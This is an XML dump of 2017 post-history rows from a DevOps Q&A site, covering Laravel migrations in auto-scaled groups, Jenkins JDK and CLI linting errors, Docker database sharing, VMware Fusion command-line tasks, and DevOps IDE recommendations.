  <row Id="6773" PostHistoryTypeId="5" PostId="2152" RevisionGUID="c043bf10-3911-4b4c-a232-7a786f7b9a02" CreationDate="2017-09-26T19:01:51.260" UserId="60" Comment="Removed thanks" Text="We are just about to move from a monolithic architecture to an auto-scaled group and I'm not sure how I should be running my database migrations (Laravel).&#xD;&#xA;&#xD;&#xA;I am thinking that a script will run when a new box comes online, this will git pull my latest code down. Should this script also execute my database migration? I am not sure how I can get it run on only one box?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6774" PostHistoryTypeId="24" PostId="2152" RevisionGUID="c043bf10-3911-4b4c-a232-7a786f7b9a02" CreationDate="2017-09-26T19:01:51.260" Comment="Proposed by 60 approved by 707, 3 edit id of 456" ContentLicense="CC BY-SA 3.0" />
  <row Id="6775" PostHistoryTypeId="5" PostId="2160" RevisionGUID="878b0b1a-4acb-4a98-adb9-c7002e41282b" CreationDate="2017-09-26T19:56:06.717" UserId="3" Comment="Improves wording." Text="The *EnvInject* plugin is basically attempting to load the build environment which uses configuration of JDK tools in Jenkins which fails during reinstallation of Java JDK library on the Windows slave (as per given configuration). This JDK configuration can be found in *Global Tool Configuration* (at `/configureTools`) for the given JDK profile which was selected in that job configuration. The installation process failed to reinstall *Java JDK* due for running Java process in the background (such as `java -jar slave.jar`) which was using these *DLL* files. So it sounds like it's not possible to reinstall the same Java JDK files which are used to run the Jenkins slave process. &#xD;&#xA;&#xD;&#xA;The solution was to disable *Install automatically* option in *Global Tool Configuration*, as Java JDK was already installed on that slave.&#xD;&#xA;&#xD;&#xA;[![Jenkins, Java JDK, Install automatically option][1]][1]&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Related: [JENKINS-46989 - EnvInjectException: remote file operation failed][2].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ThdWA.png&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-46989" ContentLicense="CC BY-SA 3.0" />
  <row Id="6776" PostHistoryTypeId="2" PostId="2161" RevisionGUID="2b6912a6-f599-4c91-a635-43be94e320a5" CreationDate="2017-09-26T21:51:01.187" UserId="4525" Text="So I have been reading up on Docker, and I cannot quite get my head around this concept. There are literally dozens of tutorials on the web about spawning a Wordpress instance on Docker within 5 minutes. All these sites spawn their processes separately; a singe SQL container, a single webserver container and a PHP + filesystem container. &#xD;&#xA;&#xD;&#xA;Apparently the Docker philosophy is to keep everything nice and small and separated. Proper isolation, distribution and scalability; all fine. But what if I need two Wordpress sites, or ten? &#xD;&#xA;&#xD;&#xA;The advantage of separate containers is that every site can be instantiated with its own passwords and other secrets via a docker-compose file, but having 10 database containers running next to each other feels like wasting resources. Once single SQL container should be capable of running 10 databases.&#xD;&#xA;&#xD;&#xA;I was wondering if running multiple instances is indeed resource heavier, and/or if the added value of strict isolation outweighs the resource usage?&#xD;&#xA;&#xD;&#xA;(I have chosen SQL, but the question basically applies to all resources that can be shared across sites. Think of mailservers, virus scanners, etc.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6777" PostHistoryTypeId="1" PostId="2161" RevisionGUID="2b6912a6-f599-4c91-a635-43be94e320a5" CreationDate="2017-09-26T21:51:01.187" UserId="4525" Text="Running multiple websites on Docker in isolated or shared database containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6778" PostHistoryTypeId="3" PostId="2161" RevisionGUID="2b6912a6-f599-4c91-a635-43be94e320a5" CreationDate="2017-09-26T21:51:01.187" UserId="4525" Text="&lt;docker&gt;&lt;containers&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6779" PostHistoryTypeId="2" PostId="2162" RevisionGUID="d6d50564-ddfd-4094-acdb-616f8e2456de" CreationDate="2017-09-26T23:19:47.687" UserId="3175" Text="How are you doing your deploys?  Nuke + rebuild the ASG (whether one node at a time, or by replacing the whole group at once), or do you have a script that redeploys all of your active nodes?&#xD;&#xA;&#xD;&#xA;And also, how are you triggering your deploys?&#xD;&#xA;&#xD;&#xA;Ideally you want to be running/triggering deploys from some form of CI server like Bamboo or Jenkins.  If you're doing this, you can run your DB migrations from the build server (or its component build agent instances).&#xD;&#xA;&#xD;&#xA;This would allow you greater control over your environment, as you could, for example, restore DB from snapshot if the deployment fails." ContentLicense="CC BY-SA 3.0" />
  <row Id="6780" PostHistoryTypeId="2" PostId="2163" RevisionGUID="629f1afc-2e54-473b-8627-b60f2198971e" CreationDate="2017-09-27T05:39:09.410" UserId="4175" Text="Docker and all the other fancy names are just tools. The examples are just examples. &#xD;&#xA;&#xD;&#xA;Resource-wise, Docker changes nothing much beyond usual Linx/Unix multiprocessing. It does not have the overhead of VMs, and little overhead over just starting the process directly ( https://stackoverflow.com/questions/21889053/what-is-the-runtime-performance-cost-of-a-docker-container ).&#xD;&#xA;&#xD;&#xA;So it is really up to you to decide how to use it. If you have closely related applications under your own command, maybe in your intranet, why not use a shared DB. If they are customer DBs, or you might need to run different versions of the software, or different incompatible configurations, then separate services might be fine.&#xD;&#xA;&#xD;&#xA;For RDBMSses especially, they are usually very good at managing resources (RAM, HDD) and so for this case specifically, running only one may just be the best thing. It's really more about what your needs are than general guidelines." ContentLicense="CC BY-SA 3.0" />
  <row Id="6781" PostHistoryTypeId="5" PostId="2160" RevisionGUID="81bd26c1-640d-4144-b4af-622e798f555c" CreationDate="2017-09-27T07:57:33.927" UserId="13" Comment="Small typo and split of text to ease reading" Text="The *EnvInject* plugin is basically attempting to load the build environment which uses configuration of JDK tools in Jenkins which fails during reinstallation of Java JDK library on the Windows slave (as per given configuration). &#xD;&#xA;&#xD;&#xA;This JDK configuration can be found in *Global Tool Configuration* (at `/configureTools`) for the given JDK profile which was selected in that job configuration. The installation process failed to reinstall *Java JDK* due to running Java process in the background (such as `java -jar slave.jar`) which was using these *DLL* files.  &#xD;&#xA;So it sounds like it's not possible to reinstall the same Java JDK files which are used to run the Jenkins slave process. &#xD;&#xA;&#xD;&#xA;The solution was to disable *Install automatically* option in *Global Tool Configuration*, as Java JDK was already installed on that slave.&#xD;&#xA;&#xD;&#xA;[![Jenkins, Java JDK, Install automatically option][1]][1]&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Related: [JENKINS-46989 - EnvInjectException: remote file operation failed][2].&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ThdWA.png&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-46989" ContentLicense="CC BY-SA 3.0" />
  <row Id="6782" PostHistoryTypeId="2" PostId="2164" RevisionGUID="9e3bf3ab-3659-4f5b-b205-5875e63bbdf8" CreationDate="2017-09-27T08:49:52.323" UserId="210" Text="The jenkins-cli.jar has been downloaded.&#xD;&#xA;&#xD;&#xA;It is able to run.&#xD;&#xA;&#xD;&#xA;When one tries to check the syntax of a jenkinsfile by running `java -jar ~/Desktop/jenkins-cli.jar -s https://&lt;jenkins_url&gt; -noCertificateCheck declarative-linter &lt; Jenkinsfile` it results in:&#xD;&#xA;&#xD;&#xA;    Sep 27, 2017 10:46:18 AM hudson.cli.CLI _main&#xD;&#xA;    INFO: Skipping HTTPS certificate checks altogether. Note that this is not secure at all.&#xD;&#xA;    Sep 27, 2017 10:46:34 AM hudson.cli.CLI$5 run&#xD;&#xA;    WARNING: null&#xD;&#xA;    java.io.IOException: Stream is closed&#xD;&#xA;            at sun.net.www.protocol.http.HttpURLConnection$StreamingOutputStream.checkError(HttpURLConnection.java:3512)&#xD;&#xA;            at sun.net.www.protocol.http.HttpURLConnection$StreamingOutputStream.write(HttpURLConnection.java:3486)&#xD;&#xA;            at java.io.DataOutputStream.writeInt(DataOutputStream.java:197)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide.send(PlainCLIProtocol.java:188)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide.send(PlainCLIProtocol.java:195)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide$1.write(PlainCLIProtocol.java:215)&#xD;&#xA;            at hudson.cli.CLI$5.run(CLI.java:699)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6783" PostHistoryTypeId="1" PostId="2164" RevisionGUID="9e3bf3ab-3659-4f5b-b205-5875e63bbdf8" CreationDate="2017-09-27T08:49:52.323" UserId="210" Text="Why does the jenkins-cli.jar linting functionality not work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6784" PostHistoryTypeId="3" PostId="2164" RevisionGUID="9e3bf3ab-3659-4f5b-b205-5875e63bbdf8" CreationDate="2017-09-27T08:49:52.323" UserId="210" Text="&lt;jenkins&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6785" PostHistoryTypeId="5" PostId="2146" RevisionGUID="fa412ae8-4f33-4752-9fa8-41e546878580" CreationDate="2017-09-27T08:55:35.320" UserId="210" Comment="added 267 characters in body" Text="At the moment I am editing a Jenkinsfile and then let it run unless Jenkins reports a issue. This approach costs a lot of time. I prefer to validate the syntax before committing the Jenkinsfile. Is there a tool that solves this issue?&#xD;&#xA;&#xD;&#xA;In [gitlab][1] there is a URI, i.e. `/ci/lint` that makes it possible to submit a gitlab file, click on the check button and then the UI will indicate whether the syntax is correct or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#validate-the-gitlab-ci-yml" ContentLicense="CC BY-SA 3.0" />
  <row Id="6786" PostHistoryTypeId="5" PostId="2164" RevisionGUID="0dcf7ac0-1dde-4559-82f5-b1e469a8992c" CreationDate="2017-09-27T09:00:54.170" UserId="210" Comment="added 425 characters in body" Text="The jenkins-cli.jar has been downloaded.&#xD;&#xA;&#xD;&#xA;It is able to run.&#xD;&#xA;&#xD;&#xA;When one tries to check the syntax of a jenkinsfile by running `java -jar ~/Desktop/jenkins-cli.jar -s https://&lt;jenkins_url&gt; -noCertificateCheck declarative-linter &lt; Jenkinsfile` it results in:&#xD;&#xA;&#xD;&#xA;    Sep 27, 2017 10:46:18 AM hudson.cli.CLI _main&#xD;&#xA;    INFO: Skipping HTTPS certificate checks altogether. Note that this is not secure at all.&#xD;&#xA;    Sep 27, 2017 10:46:34 AM hudson.cli.CLI$5 run&#xD;&#xA;    WARNING: null&#xD;&#xA;    java.io.IOException: Stream is closed&#xD;&#xA;            at sun.net.www.protocol.http.HttpURLConnection$StreamingOutputStream.checkError(HttpURLConnection.java:3512)&#xD;&#xA;            at sun.net.www.protocol.http.HttpURLConnection$StreamingOutputStream.write(HttpURLConnection.java:3486)&#xD;&#xA;            at java.io.DataOutputStream.writeInt(DataOutputStream.java:197)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide.send(PlainCLIProtocol.java:188)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide.send(PlainCLIProtocol.java:195)&#xD;&#xA;            at hudson.cli.PlainCLIProtocol$EitherSide$1.write(PlainCLIProtocol.java:215)&#xD;&#xA;            at hudson.cli.CLI$5.run(CLI.java:699)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;@Tensibai asked whether there is an authentication issue. Authentication was done, but it is unclear whether it was succesfull or not:&#xD;&#xA;&#xD;&#xA;    $ java -jar ~/Desktop/jenkins-cli.jar -noCertificateCheck -s https://&lt;jenkins url&gt; login --username &lt;username&gt; --password &lt;password&gt;&#xD;&#xA;    Sep 27, 2017 10:57:17 AM hudson.cli.CLI _main&#xD;&#xA;    INFO: Skipping HTTPS certificate checks altogether. Note that this is not secure at all." ContentLicense="CC BY-SA 3.0" />
  <row Id="6787" PostHistoryTypeId="2" PostId="2165" RevisionGUID="11cc4558-9e60-45ce-917a-121a30da399d" CreationDate="2017-09-27T10:07:22.947" UserId="210" Text="There seems to be an [open issue][1] at the moment. Another user experienced the same issue as well and added the following comment:&#xD;&#xA;&#xD;&#xA;&gt; why is there a difference between node context and stage context&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-43324" ContentLicense="CC BY-SA 3.0" />
  <row Id="6788" PostHistoryTypeId="2" PostId="2166" RevisionGUID="19b1f8fc-55d6-4a4e-b432-0db05431eaf5" CreationDate="2017-09-27T13:02:12.843" UserId="4289" Text="Is it possible to rename a VM in VMWare Fusion via command line?&#xD;&#xA;&#xD;&#xA;For example, Parallels has the `prlctl` tool, and the process would be something like:&#xD;&#xA;&#xD;&#xA;    prlctl stop oldname&#xD;&#xA;    prlctl set oldname --name newname&#xD;&#xA;    prlctl start newname" ContentLicense="CC BY-SA 3.0" />
  <row Id="6789" PostHistoryTypeId="1" PostId="2166" RevisionGUID="19b1f8fc-55d6-4a4e-b432-0db05431eaf5" CreationDate="2017-09-27T13:02:12.843" UserId="4289" Text="Rename VM in VMware Fusion via command line" ContentLicense="CC BY-SA 3.0" />
  <row Id="6790" PostHistoryTypeId="3" PostId="2166" RevisionGUID="19b1f8fc-55d6-4a4e-b432-0db05431eaf5" CreationDate="2017-09-27T13:02:12.843" UserId="4289" Text="&lt;vmware&gt;&lt;vmware-fusion&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6791" PostHistoryTypeId="2" PostId="2167" RevisionGUID="61711557-7af2-4184-9d4f-98e2cb448c74" CreationDate="2017-09-27T13:03:58.577" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6792" PostHistoryTypeId="1" PostId="2167" RevisionGUID="61711557-7af2-4184-9d4f-98e2cb448c74" CreationDate="2017-09-27T13:03:58.577" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6793" PostHistoryTypeId="2" PostId="2168" RevisionGUID="ff72d894-4f1d-4152-8d57-b882f68afec3" CreationDate="2017-09-27T13:03:58.577" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6794" PostHistoryTypeId="1" PostId="2168" RevisionGUID="ff72d894-4f1d-4152-8d57-b882f68afec3" CreationDate="2017-09-27T13:03:58.577" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6795" PostHistoryTypeId="2" PostId="2169" RevisionGUID="0fd2dcee-479e-4320-a731-cdeacbe248ce" CreationDate="2017-09-27T13:04:45.590" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6796" PostHistoryTypeId="1" PostId="2169" RevisionGUID="0fd2dcee-479e-4320-a731-cdeacbe248ce" CreationDate="2017-09-27T13:04:45.590" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6797" PostHistoryTypeId="2" PostId="2170" RevisionGUID="5abecb86-dda4-4f8f-9ab3-17a2fea55214" CreationDate="2017-09-27T13:04:45.590" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6798" PostHistoryTypeId="1" PostId="2170" RevisionGUID="5abecb86-dda4-4f8f-9ab3-17a2fea55214" CreationDate="2017-09-27T13:04:45.590" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6799" PostHistoryTypeId="5" PostId="2166" RevisionGUID="ef5d36cb-b278-4ef9-bdd6-0c7c1fa59160" CreationDate="2017-09-27T13:21:16.707" UserId="4289" Comment="added 63 characters in body" Text="Is it possible to rename a VM in VMWare Fusion via command line? (ie not clone and then name the new VM and delete the old VM).&#xD;&#xA;&#xD;&#xA;For example, Parallels has the `prlctl` tool, and the process would be something like:&#xD;&#xA;&#xD;&#xA;    prlctl stop oldname&#xD;&#xA;    prlctl set oldname --name newname&#xD;&#xA;    prlctl start newname" ContentLicense="CC BY-SA 3.0" />
  <row Id="6800" PostHistoryTypeId="5" PostId="2167" RevisionGUID="d13d87bc-b62e-4dd8-b7e0-2131432c7d62" CreationDate="2017-09-27T14:12:14.377" UserId="4289" Comment="added 1006 characters in body" Text="**[VMware][9]** software virtualizes the hardware for a video adapter, a network adapter, and hard disk adapters. The host provides pass-through drivers for guest USB, serial, and parallel devices. In this way, VMware virtual machines become highly portable between computers, because every host looks nearly identical to the guest. In practice, a system administrator can pause operations on a virtual machine guest, move or copy that guest to another physical computer, and there resume execution exactly at the point of suspension. &#xD;&#xA;&#xD;&#xA;VMware's desktop software runs on Microsoft Windows, Linux, and Mac OS X, while VMware's enterprise software hypervisors for servers, VMware ESX and VMware ESXi are bare-metal embedded Hypervisors that run directly on server hardware without requiring an additional underlying operating system.&#xD;&#xA;&#xD;&#xA;#References: #&#xD;&#xA;&#xD;&#xA;+ [VMware Wikipedia Article][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/O92Yj.jpg&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/VMware&#xD;&#xA;  [9]: http://www.vmware.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6801" PostHistoryTypeId="24" PostId="2167" RevisionGUID="d13d87bc-b62e-4dd8-b7e0-2131432c7d62" CreationDate="2017-09-27T14:12:14.377" Comment="Proposed by 4289 approved by -1 edit id of 457" ContentLicense="CC BY-SA 3.0" />
  <row Id="6802" PostHistoryTypeId="5" PostId="2167" RevisionGUID="e8a7066f-6269-49af-8b14-9f9ca0574bc3" CreationDate="2017-09-27T14:12:14.377" UserId="13" Comment="Quote the quote from wikipedia, remove useless link" Text="**[VMware][9]** software virtualizes the hardware for a video adapter, a network adapter, and hard disk adapters. The host provides pass-through drivers for guest USB, serial, and parallel devices. In this way, VMware virtual machines become highly portable between computers, because every host looks nearly identical to the guest. In practice, a system administrator can pause operations on a virtual machine guest, move or copy that guest to another physical computer, and there resume execution exactly at the point of suspension. &#xD;&#xA;&#xD;&#xA;From [VMware Wikipedia Article][2]:&#xD;&#xA;&#xD;&#xA;&gt; VMware's desktop software runs on Microsoft Windows, Linux, and Mac OS&#xD;&#xA;&gt; X, while VMware's enterprise software hypervisors for servers, VMware&#xD;&#xA;&gt; ESX and VMware ESXi are bare-metal embedded Hypervisors that run&#xD;&#xA;&gt; directly on server hardware without requiring an additional underlying&#xD;&#xA;&gt; operating system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/VMware&#xD;&#xA;  [9]: http://www.vmware.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6803" PostHistoryTypeId="5" PostId="2169" RevisionGUID="836b0a8b-98e6-4ec8-883c-668817f0d29f" CreationDate="2017-09-27T14:12:29.090" UserId="4289" Comment="added 409 characters in body" Text="VMWare Fusion is a software system for hosting virtual machines on OS X. It is especially promoted on [the vendor's web site][1] as a way to run Windows on a Mac. It has also been used for running [Linux][2]. [Wikipedia][3] has a detailed discussion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vmware.com/products/fusion/overview.html&#xD;&#xA;  [2]: http://www.macinstruct.com/node/394&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/VMware_Fusion" ContentLicense="CC BY-SA 3.0" />
  <row Id="6804" PostHistoryTypeId="24" PostId="2169" RevisionGUID="836b0a8b-98e6-4ec8-883c-668817f0d29f" CreationDate="2017-09-27T14:12:29.090" Comment="Proposed by 4289 approved by 210, 13 edit id of 459" ContentLicense="CC BY-SA 3.0" />
  <row Id="6805" PostHistoryTypeId="2" PostId="2171" RevisionGUID="2291fbd1-93c5-4a8b-9c4f-75551d92973e" CreationDate="2017-09-27T14:25:55.343" UserId="4289" Text="Is there anyway of unregistering a virtual machine on OSX using the command line with VMware Fusion (so that the VM can then be deleted)?&#xD;&#xA;&#xD;&#xA;I've looked around, and found [this][1] thread, which suggests &#xD;&#xA;&#xD;&#xA;&gt; manually remove the VM from inventory before running the DeleteVM command&#xD;&#xA;&#xD;&#xA;But where is this inventory? Or is there a better way of unregistering a machine via the command line?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://communities.vmware.com/thread/560093" ContentLicense="CC BY-SA 3.0" />
  <row Id="6806" PostHistoryTypeId="1" PostId="2171" RevisionGUID="2291fbd1-93c5-4a8b-9c4f-75551d92973e" CreationDate="2017-09-27T14:25:55.343" UserId="4289" Text="Unregister a VM within VMware Fusion from command line" ContentLicense="CC BY-SA 3.0" />
  <row Id="6807" PostHistoryTypeId="3" PostId="2171" RevisionGUID="2291fbd1-93c5-4a8b-9c4f-75551d92973e" CreationDate="2017-09-27T14:25:55.343" UserId="4289" Text="&lt;vmware&gt;&lt;vmware-fusion&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6808" PostHistoryTypeId="2" PostId="2172" RevisionGUID="1dcab4e9-1294-4ba0-b7d4-c98de576ba65" CreationDate="2017-09-27T16:35:47.170" UserId="4532" Text="I'm starting up the DevOps initiative at my company and trying to decide what IDE and other development tooling to invest the team in for our various repositories.&#xD;&#xA;&#xD;&#xA;Language wise we have a lot of Ruby and Groovy, but that's hardly the entire picture.  We really don't even know fully yet all the systems we will be working with in the near future, and there are some DSLs in the mix:&#xD;&#xA;&#xD;&#xA; - Akamai DSL&#xD;&#xA; - CloudBees / Jenkins logic in Groovy and Jenkinsfile&#xD;&#xA; - Chef&#xD;&#xA; - Ansible, maybe&#xD;&#xA; - Docker, hopefully&#xD;&#xA; - One of several release automation products, not yet chosen&#xD;&#xA; - I would like to use ServerSpec or something like it&#xD;&#xA; - SaltStack DSL&#xD;&#xA; - Kubernetes DSL&#xD;&#xA;&#xD;&#xA;And so on.  Are there any IDEs with plugins to make working with this stuff a little easier?&#xD;&#xA;&#xD;&#xA; - that understand the relationships between these entities&#xD;&#xA; - that can mock out DNS and network connections to make unit tests possible for these DSLs&#xD;&#xA; - that can validate DSL syntax or even detect certain logical errors considering multiple of these?&#xD;&#xA;&#xD;&#xA;[This reddit thread][1] is very discouraging to me as it seems a lot of folks out there are using basic editors with syntax highlighting plugins, which I view as woefully inadequate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/52xbm6/what_editor_ide_do_you_use/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6809" PostHistoryTypeId="1" PostId="2172" RevisionGUID="1dcab4e9-1294-4ba0-b7d4-c98de576ba65" CreationDate="2017-09-27T16:35:47.170" UserId="4532" Text="good IDE or plugins for typical DevOps functions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6810" PostHistoryTypeId="3" PostId="2172" RevisionGUID="1dcab4e9-1294-4ba0-b7d4-c98de576ba65" CreationDate="2017-09-27T16:35:47.170" UserId="4532" Text="&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6811" PostHistoryTypeId="2" PostId="2173" RevisionGUID="a4b5520c-f14d-401c-a518-05d08d6b9fc1" CreationDate="2017-09-27T17:51:39.443" UserId="91" Text="As comments are transient, here's some info for the next person trying to solve this problem. Please feel free to edit this answer to provide more details, unless you're a Docker for Windows pro, in which case please give a better answer :D&#xD;&#xA;&#xD;&#xA;I went to demo the problem for my IT group after having changed my NIC on my VM to bridged and adding my thunderbolt adapter. As there are security systems in place, I realized I needed to add the security software to my VM, but as it isn't joined to the domain, that was a problem. Switching it back to NAT on the wifi adapter, and then going to demo the problem in my Windows 2016 VM somehow magically made it start working.&#xD;&#xA;&#xD;&#xA;Same network. Same VM configuration. Same software and host, no changes to anything I can track.&#xD;&#xA;&#xD;&#xA;Having checked Get-ContainerNetwork or Get-WinNat showing nothing, I really had been at my end of diagnostics. Changing that NIC adapter and then changing it back apparently caused something to reset. Good times.&#xD;&#xA;&#xD;&#xA;So, I don't have a solid answer, but I have a good workaround for the next person stuck in my shoes, which, given my track record of StackExchange questions and answers, will be me. But I hope it helps you out too, random internet asker.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;And an XKCD tax, for those impossible to solve problems.&#xD;&#xA;&#xD;&#xA;[![XKCD Comic Link to &quot;Wisdom of the ancients&quot;][1]](https://xkcd.com/979/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/ZAhuo.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="6812" PostHistoryTypeId="2" PostId="2174" RevisionGUID="a920cb43-5e93-4d6e-9703-99d9ad07939e" CreationDate="2017-09-27T18:14:57.083" UserId="3616" Text="At the moment I am using [Atom][1] which I think is a decent application and as the majority of IDEs you can install plugin for different tasks in my case Docker and Ruby.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://atom.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6813" PostHistoryTypeId="2" PostId="2175" RevisionGUID="5e0b49d6-342d-42b2-85e1-07503bf47bcb" CreationDate="2017-09-27T18:21:45.687" UserId="4252" Text="Not necessarily; as the other answers have stated, Agile methodologies and DevOps mentality can build off of each other, but to me, DevOps is broader than either agile or lean development efforts.  Companies that adopt DevOps look at the entire value stream, including operations, development, product design, marketing, security etc... the movement can originate within any silo with the intent of dismantling barriers.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6814" PostHistoryTypeId="5" PostId="2170" RevisionGUID="77325dc0-8057-4fbe-bdd9-3ba9af12a44d" CreationDate="2017-09-27T18:32:12.680" UserId="4289" Comment="added 134 characters in body" Text="A software system for running virtual machines (a hypervisor) used to run Windows or other operating systems on a Macintosh under OSX." ContentLicense="CC BY-SA 3.0" />
  <row Id="6815" PostHistoryTypeId="24" PostId="2170" RevisionGUID="77325dc0-8057-4fbe-bdd9-3ba9af12a44d" CreationDate="2017-09-27T18:32:12.680" Comment="Proposed by 4289 approved by 40, 228 edit id of 460" ContentLicense="CC BY-SA 3.0" />
  <row Id="6816" PostHistoryTypeId="5" PostId="2172" RevisionGUID="14fa1bc7-7e20-437b-a9a3-8c2a89ecda4c" CreationDate="2017-09-27T19:10:18.973" UserId="40" Comment="added 3 characters in body; edited title" Text="I'm starting up the DevOps initiative at my company and trying to decide what IDE and other development tooling to invest the team in for our various repositories.&#xD;&#xA;&#xD;&#xA;Language wise we have a lot of Ruby and Groovy, but that's hardly the entire picture.  We really don't even know fully yet all the systems we will be working with in the near future, and there are some DSLs in the mix:&#xD;&#xA;&#xD;&#xA; - Akamai DSL&#xD;&#xA; - CloudBees / Jenkins logic in Groovy and Jenkinsfile&#xD;&#xA; - Chef&#xD;&#xA; - Ansible, maybe&#xD;&#xA; - Docker, hopefully&#xD;&#xA; - One of several release automation products, not yet chosen&#xD;&#xA; - I would like to use ServerSpec or something like it&#xD;&#xA; - SaltStack DSL&#xD;&#xA; - Kubernetes DSL&#xD;&#xA; - And so on.&#xD;&#xA;&#xD;&#xA;Are there any IDEs with plugins to make working with this stuff a little easier?&#xD;&#xA;&#xD;&#xA; - that understand the relationships between these entities&#xD;&#xA; - that can mock out DNS and network connections to make unit tests possible for these DSLs&#xD;&#xA; - that can validate DSL syntax or even detect certain logical errors considering multiple of these?&#xD;&#xA;&#xD;&#xA;[This reddit thread][1] is very discouraging to me as it seems a lot of folks out there are using basic editors with syntax highlighting plugins, which I view as woefully inadequate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/52xbm6/what_editor_ide_do_you_use/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6817" PostHistoryTypeId="4" PostId="2172" RevisionGUID="14fa1bc7-7e20-437b-a9a3-8c2a89ecda4c" CreationDate="2017-09-27T19:10:18.973" UserId="40" Comment="added 3 characters in body; edited title" Text="Good IDE or plugins for typical DevOps functions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6818" PostHistoryTypeId="2" PostId="2176" RevisionGUID="16f7dfa3-a924-4426-bf8d-9b19f2901eb3" CreationDate="2017-09-27T20:45:43.670" UserId="3175" Text="I personally really like PyCharm (same guys who made IntelliJ and Android Studio).&#xD;&#xA;&#xD;&#xA;I mostly use Ansible, Bash, and Python.  Has good plugins + syntax highlighting for Bash (doesn't everything at this point?), and Ansible.  Since it's a native Python IDE, it's also very convenient when writing or troubleshooting python scripts, especially since you don't even need to exit the IDE to run them.&#xD;&#xA;&#xD;&#xA;It also has integrations through plugins:&#xD;&#xA;&#xD;&#xA;Chef: https://plugins.jetbrains.com/plugin/7548-chef-integration&#xD;&#xA;&#xD;&#xA;Ruby: https://plugins.jetbrains.com/plugin/1293-ruby&#xD;&#xA;&#xD;&#xA;Both should in theory allow full IDE-like experience with both languages (i.e. resource completion, syntax highlighting, jumping to references, etc).&#xD;&#xA;&#xD;&#xA;Really, you can't go wrong with anything by JetBrains if you choose to use any of their other IDEs like IntelliJ." ContentLicense="CC BY-SA 3.0" />
  <row Id="6820" PostHistoryTypeId="2" PostId="2177" RevisionGUID="c80b3f1d-234f-4ecc-a2a2-8b39798a5c40" CreationDate="2017-09-28T06:23:07.880" UserId="707" Text="Would you say from experience, either task or relationship leadership style works better for DevOps?&#xD;&#xA;Or would you go for sth else than Forsyth?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6821" PostHistoryTypeId="1" PostId="2177" RevisionGUID="c80b3f1d-234f-4ecc-a2a2-8b39798a5c40" CreationDate="2017-09-28T06:23:07.880" UserId="707" Text="Leadership types for DevOps team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6822" PostHistoryTypeId="3" PostId="2177" RevisionGUID="c80b3f1d-234f-4ecc-a2a2-8b39798a5c40" CreationDate="2017-09-28T06:23:07.880" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6823" PostHistoryTypeId="2" PostId="2178" RevisionGUID="c67e479a-03ea-41ce-b4b8-6255cb3c5101" CreationDate="2017-09-28T06:41:39.207" UserId="707" Text="Is there really a difference? Would Director lead several head of?" ContentLicense="CC BY-SA 3.0" />
